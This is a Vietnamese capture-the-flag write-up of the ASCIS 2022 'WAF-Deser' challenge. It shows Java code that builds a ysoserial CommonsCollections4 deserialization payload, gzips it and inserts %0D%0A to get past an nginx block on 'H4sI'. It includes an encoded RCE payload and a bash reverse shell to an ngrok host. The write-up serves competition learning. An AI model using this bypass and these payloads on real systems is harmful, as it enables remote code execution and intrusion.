Writeup WAF-Deser sơ khảo ASCIS 2022 team MSEC_ADC
1. Introduction
-
Description: đây là một bài thi trong mảng WEB của vòng sơ khảo SVATTT 2022, một trong những challenge khá khó của cuộc thi, và chỉ có 7 đội giải được 😵💫
-
Source code: https://drive.google.com/file/d/1GNwQzvSSLIYJleHQlFV7BIDN38EFymPQ/view?usp=sharing
-
Blog clb MSEC: https://vnmsec.blogspot.com/
2. Reconnaissance
Review application
-
Truy cập vào thì tôi được giao diện như sau
⇒ Nothing
Review source code
-
Source code chỉ gồm 6 file như sau:
Config
-
Dockerfile
→ Chú ý FROM openjdk:11-slim
-
docker-compose.yml
-
nginx.conf
→ WAF được cấu hình để chỉ chấp nhận:
- Các URI nhỏ hơn 3000 byte
- Và trong URI không được có chuỗi H4sI
App
-
Sử dụng jd-gui để đọc file waf-deser-0.0.1-SNAPSHOT.jar
-
Bắt đầu xem từ pom.xml, điểm đáng chú ý ở đây là commons-collections4, với tiêu đề challenge là WAF-Deser nên đây rất có thể bài này sẽ khai thác lỗ hổng Deserialization trên commons-collections4.
-
Các bạn có thể thao khảo lỗ hổng Deserialization tại The Art of Deserialization Gadget Hunting - VNPT Cyber Immunity. Tôi nghĩ các bạn nên đọc hết tất cả các bài về Java Deserialization của anh Nguyễn Tiến Giang (Jang), một người viết về exploit Java rất hay và chi tiết.
-
Tiếp theo đến UserController.class
-
Đầu tiên sẽ unEndoe() URI {info} và decode base64 lưu vào biến data. Hàm unEndoe() sẽ chỉ dùng để replace các ký tự đặc biệt
-
Nếu compress=true thì thực hiện các hàm trong if() về cơ bản thì sẽ là:
- chuyển biến data thành ByteArray
- giải nén bằng GZIPInputStream
- sau đó chuyển dữ liệu đã giải nén thành ObjectInputStream gọi hàm readObject() để Deser thành Object và ép kiểu thành User
-
Điểm mấu chốt để bypass WAF của bài toán này là ở
Base64.getMimeDecoder().decode(unencodedData)
vànew GZIPInputStream(is)
-
Nhưng nginx đã được cấu hình để chặn các URI có H4sI mà chuỗi H4sI lại mà các byte magic của GZIP sau khi base64 encode 🤕🤕. Vậy thì bypass kiểu gì???
3. Idea Exploit & Bypass WAF
- Idea của tôi là:
- Tạo payload khai thác Deserialization cho commons-collections4
- Sử dụng với công cụ ysoserial (trong bài biết này tôi sử dụng ysoserial-modified, về điểm cải tiến của ysoserial-modified các bạn có thể đọc thêm, ysoserial-modified là công cụ tôi biết được từ ippsec trong quá trình theo dõi anh ấy làm box UHC - LogForge - YouTube)
- Tiếp đó đưa nó về kiểu GZIPOutputStream để bypass qua giới hạn 3000 byte của URI, nếu sử dụng payload thông thường thì sẽ vượt quá 3000 byte và bị WAF chặn vì vậy tôi phải dùng GZIPOutputStream để nén dữ liệu lại.
- Sử dụng %0D%0A để bypass H4sI, vì URI đến sẽ được decode base64, và base64 sẽ tự động remove %0D%0A khi decode. Lúc đầu tôi sử dụng Unicode để bypass nhưng không được @@@
- Và cần phải chú ý đến đoạn
s.replaceAll("-", "\\r\\n")
trong hàm unEncode()
4. Payload
Gen data GZIPOutputStream and Bypass WAF
-
Payload tôi đưa ra là:
package main; import java.io.*; import java.util.Base64; import java.util.zip.GZIPOutputStream; public class exp { public static void main(String args[]) throws Exception { Object pl = new String("MSEC_ADC"); ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gzipOut = new GZIPOutputStream(baos); ObjectOutputStream objectOut = new ObjectOutputStream(gzipOut); objectOut.writeObject(pl); objectOut.close(); byte[] dat = baos.toByteArray(); //Files.readAllBytes(f.toPath()); String x = Base64.getMimeEncoder().encodeToString(dat); System.out.println(x); System.out.println("\n"); x = x.replaceAll("\\r\\n",""); x = x.replaceAll("=","%3D"); x = x.replaceAll("\\+","%2B"); x = x.replaceAll("/","_"); System.out.println(x); System.out.println("\n"); System.out.println(x.length()); } }
-
Chạy file trên tôi đươc payload là:
H4sIAAAAAAAAAFvzloG1hIHDN9jVOd7RxRkAt38l%2BA8AAAA%3D
-
http://34.143.130.87:4999/info/H4 sIAAAAAAAAAFvzloG1hIHDN9jVOd7RxRkAt38l%2BA8AAAA%3D?compress=true
→ Xem lại trong source thì là payload đã pass qua WAF và vào trong lệnh if() của source code vì ép kiểu sang User sai nên sẽ đi vào Exception và return ra
?????
Sử dụng ysoserial và kiểm tra RCE trên local
-
Import ysoserial-modified vào intelij và sử dụng CommonsCollections4(). Link hướng dẫn: How to Add External JAR File to an IntelliJ IDEA Project? - GeeksforGeeks
-
Ban đầu cách làm của tôi là lưu payload vào file .bin sau đó xử lý qua FileInputStream, cách làm đó sẽ dài dòng hơn. Khi về nhà tôi đã thảo luận với một người anh về khó khăn trong việc xử lý qua FileInputStream và tôi đã nhận được một hint để có thể GZIP trực tiếp data bằng cách import file ysoserial-modified.jar và sử dụng các class của payload. Cảm ơn anh rất nhiều ạ! 🥳🥳🥳
💡 Chú ý: sẽ phải sử dụng jdk11 để gen payload
-
Khi chạy file docker-compose tôi kiểm tra server không có các lệnh như: curl, wget, ping, touch,… vì vậy tôi phải dùng echo để kiểm tra RCE trên local sau đó sẽ dùng bash dể reverse shell từ server
package main; import ysoserial.payloads.*; import ysoserial.payloads.util.CmdExecuteHelper; import java.io.*; import java.util.Base64; import java.util.zip.GZIPOutputStream; public class exp { public static void main(String args[]) throws Exception { // Object pl = new String("MSEC_ADC"); CmdExecuteHelper cmd = new CmdExecuteHelper("bash", "echo 123 > /tmp/MSEC_ADC.txt"); Object pl = new CommonsCollections4().getObject(cmd); ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gzipOut = new GZIPOutputStream(baos); ObjectOutputStream objectOut = new ObjectOutputStream(gzipOut); objectOut.writeObject(pl); objectOut.close(); byte[] dat = baos.toByteArray(); //Files.readAllBytes(f.toPath()); String x = Base64.getMimeEncoder().encodeToString(dat); System.out.println(x); System.out.println("\n"); x = x.replaceAll("\\r\\n",""); x = x.replaceAll("=","%3D"); x = x.replaceAll("\\+","%2B"); x = x.replaceAll("/","_"); System.out.println(x); System.out.println("\n"); System.out.println(x.length()); } }
-
Payload sẽ là:
H4%0d%0asIAAAAAAAAAK1WW2wUVRj%2Bz2730m0LdHvjVltEtAWZ2dKWtmyhbFvA1a1Ut3JxHzazs4ft4OzMMnOmbHnQYAw%2B8AIRQ3jSB9QHqkkTo8REE59MvMUHExOMCfHBJxUTSNQQL_%2BZme4utNItssnOmfnP_3_nO__tnLlfwGca0HZcmpEEiymqMGkouqGw2WcsatEL1yLv3x55ed4LnjjUmMopmoCQrOcLkiEx3WDQmuCWIrcUx0ryaLEAAB4EHtWNnCAVJHmaCmiX1zUTR1WlMlPwvU8og5nClCFp5jHdyCtargwm_vnKb9vmg196wJOA2iyVdRTT7Al4EUgC6tiCEUU62xO4nuisJ7rriZXriVNldWSJDPeuhKHLKqPSMr_bty5tuarND3gAbMDocoDHLE120KYlRaPZCkqRzy7%2B3HXqYo0HSAoalIoZk4GQWuHuLMO1uSedSpuh07tuB6%2BNvGXvxQ3hcPX7wU8maawC8cjMucaYZ_6Ch8eqVlnQYBB2EkeVtJx4MHMcwZDwjAEDuIRgWppQsWpRQjVB0Rg1NEkViqbKZAHjXkTusSP7FRUnoPyzozBSNeu4Q0nBpKog3nf21kuXz3wTxaxLgU%2BJGTmMQFNqMesU1CmTmAn5qdkCRZ1wpc6YKpmmEwnXVuBywbU99_WRN9aY3eqCuwkS37UyB9B8QUXmZhzH2sMHP9XmrvR6wR%2BHhrSiZanGnrbyGWrEYVXarhSVsjjKiykIpTOzDKspy1l7U6nRFPjTMifMS6s5Ab60JuXpnaFKMgOLM5qAxrRusYLFJg29gJWncJDKZlCWO80A_sEfuoEv9NRf61pyue8HSlmGck9qdO5m2x_%2B4NR1V%2By_8fnfH32C070wEgIvPByA3QHYEoBHCawxqaFI6iGsC4zmc_FxAuRJAg0L%2BXVIUi3qe7fztZvnf7ixh4B_WNEUhi_eru5DBGrGcNcEView_Bz_TPGaJrhVXUZYCcHx2xXWsGnFJNCUZFZmyvXhpDSr6lKWQH1c06hhx5miUn9i1tQdcmLB0TEdhxyQsjnKzEeWQIkSqC21MQJGVwJzQMQcECvq3c4BcSEHRDsHxPGDE9HUktp5tazr8MHmbYhJ91XiVfCEpGVVrHrukmBWl6085gvBJrqS5dF02sHB7Y_%2BfzIEQvuKMi3YZRqAxwi8vTJ_LMsgy_Li%2BNRErKiYcRTZB9aD8aHiwvE8uB8WBAKuLwnEHoQnk7plyBQ7JKZxvZuBAi_SeghBXQC6CPTeR8IS2FttRAwLW2ueirGMiSkuswUkAs12s1D0Mnm72oaqRV5AKmULgY5l9oIhGpZVtxU0lrvasw7JAGxFn6Gi%2B02gpas7sUgtWg%2BPw_YQbAMBO9HdvTEAESxnMaNoYkYyp4Owg4BnuxyEPgIbqTytd_bs6O3c0ymyfEGcSO4bS8fGxwRWZEHYib2GFqlMoKsrtbjpVlLB9ipTPFrqYRCGOJVd2P2STJJfmJAKbt9qL3tj8iQ2qb7I4M7%2ByECkZ7BnIIIkOxL3VIjCJvBg30VS%2BF8PPvDjGOD9GoK2DFMIn_UoEXEkOPq2fghk3lZpwKffFkZgFT7rHQVYDXv4SQdN0Ixa3HgE_14uu9uw3zbsdCZdQ_7WAq32PIE2WIsW6_Dd4chhN7iwcVu6BOyQDbvVmVwSdiO0owV_ewg6cPnyAkHoLm26H_G4Vuc74CWJqyD6P4aeo95wb_JoTbg_edQXHkh%2BANHD8zbSsL1Lgjdp3BEntAkacQzhlAc2wxqotfi524G635YOvg384GsJQFsA1gZgXbUH34mflF%2BH8wfWPpiDz7tf1xcddFuWPejQqpoWtJ7A5iqg7qg05_r0ny1kuTZwz8Qm1Sf27rsSO2zPN9nP5orotvLoFhjUYJUZhZMEinjhCVfeB5174pXW79774qvnL5Wug3gfbudKRQEbv1C6IpRvfXfcek_yhPbiFbKxDBzHnpmjRvjHNy__fvrVQbyGx8E3w5OkaDgedfScZDgz93p73YXrZ0sEeEZ2F_8FEGCygCUOAAA%3D
-
Kết quả:
⇒ Như vậy tôi đã RCE thành công. Ở đây mặc dù return ????? nhưng vẫn RCE được là do hàm readObject() sẽ được thực thi xong thì mới tiến hành ép kiểu sang User mà do đó tôi sẽ RCE được trước khi bị Exception nên response luôn là Hello ?????
5. Get Flag
-
Setup:
-
Payload revershell:
package main; import ysoserial.payloads.*; import ysoserial.payloads.util.CmdExecuteHelper; import java.io.*; import java.util.Base64; import java.util.zip.GZIPOutputStream; public class exp { public static void main(String args[]) throws Exception { // Object pl = new String("MSEC_ADC"); CmdExecuteHelper cmd = new CmdExecuteHelper("bash", "bash -c 'bash -i >& /dev/tcp/0.tcp.ap.ngrok.io/17129 0>&1'"); Object pl = new CommonsCollections4().getObject(cmd); ByteArrayOutputStream baos = new ByteArrayOutputStream(); GZIPOutputStream gzipOut = new GZIPOutputStream(baos); ObjectOutputStream objectOut = new ObjectOutputStream(gzipOut); objectOut.writeObject(pl); objectOut.close(); byte[] dat = baos.toByteArray(); //Files.readAllBytes(f.toPath()); String x = Base64.getMimeEncoder().encodeToString(dat); System.out.println(x); System.out.println("\n"); x = x.replaceAll("\\r\\n",""); x = x.replaceAll("=","%3D"); x = x.replaceAll("\\+","%2B"); x = x.replaceAll("/","_"); System.out.println(x); System.out.println("\n"); System.out.println(x.length()); } }
-
Flaggggggggggggggggggg
⇒ Flag là: ASCIS{0H_Mime_B@s364!T1me_2_le4rN_Seri0U5ly!!!!}
6. Conclusion
- Đây là một challenge Deserialization Java khá hay ho, rất tiếc là tôi đã không thể hoàn thành nó trong thời gian cuộc thi do không đủ thời gian. Vì quá bấn loạn ở challenge thứ nhất (bài về SQL Injection), tôi đã mất cả buổi sáng cho nó rồi đến trưa nhận ra là mình quét nhầm METHOD 🤒
- Và cũng là những lần rất ít tôi đi code Java, việc quản lý các Input/OutputStream ban đầu với tôi là rất khó khăn 🥸
7. Reference
All rights reserved